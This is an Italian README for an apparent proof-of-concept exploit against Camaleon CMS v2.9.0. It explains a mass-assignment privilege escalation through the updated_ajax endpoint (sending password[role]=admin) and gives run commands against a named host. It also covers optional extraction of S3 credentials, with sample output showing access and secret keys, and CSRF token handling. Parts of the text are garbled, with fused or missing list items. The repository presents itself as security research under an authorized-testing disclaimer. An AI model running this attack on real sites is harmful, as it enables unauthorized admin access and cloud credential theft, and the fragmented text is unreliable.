
Escalation di privilegi autenticata in Camaleon CMS v2.9.0 tramite gestione impropria dei parametri nell'endpoint updated_ajax.
Obiettivo: Camaleon CMS
v2.9.0
Tipo: Escalation dei privilegi autenticata tramite mass-assignment inupdated_ajax(campo ruolo)
Extra: Estrazione opzionale della configurazione S3 dalla pagina delle impostazioni di amministrazione (se l'utente autenticato può accedervi dopo l'escalation)
Questo repository contiene uno script proof-of-concept in Python che:
/admin/profile/edit.updated_ajax per aggiornare i campi password[...] e abusare di permit! per impostare password[role]=admin.-e) estrae i valori di configurazione S3 da /admin/settings/site.-r) ripristina il ruolo al valore originale dopo l'esecuzione.Questo comportamento corrisponde al pattern di mass-assignment insicuro descritto nell'avviso correlato:
L'azione del controller seguente aggiorna un utente con permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Poiché permit! consente tutte le chiavi sotto password, un attaccante può inviare:
password[password]password[password_confirmation]password[role]=admine l'applicazione lo accetterà, aggiornando il ruolo dell'utente.
admin.requestsInstalla la dipendenza:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Versione 2.9.0 ESCALATION DEI PRIVILEGI (Autenticato)
[+]Login confermato
User ID: 5
Ruolo utente attuale: client
[+]Caricamento ESCALATION DEI PRIVILEGI
User ID: 5
Ruolo utente aggiornato: admin
[+]Estrazione credenziali S3
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Ripristino ruolo utente
User ID: 5
Ruolo utente: client
Lo script controlla l'HTML restituito per un link /admin/logout dopo il POST di login.
Se il link di logout è presente, la sessione viene considerata autenticata.
Camaleon utilizza CSRF stile Rails. Di solito i token si trovano in due punti comuni:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">Il PoC recupera il meta csrf-token da /admin/profile/edit e lo utilizza in:
authenticity_token=<token>X-CSRF-Token: <token>Questo codice è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi (es. laboratori, CTF e ambienti per i quali si ha esplicita autorizzazione).
Non utilizzarlo contro sistemi di cui non si è proprietari o per cui non si ha il permesso di testare.
| Flag | Descrizione |
|---|
-u, --url | URL base (es. http://alienone.in) |
-U, --username | Nome utente valido |
-P, --password | Password valida |
--newpass | Valore della password inviato nella richiesta di aggiornamento (default: test) |
-e, --extract | Estrai configurazione S3 dalla pagina delle impostazioni |
-r, --revert | Ripristina il ruolo al valore originale dopo l'escalation |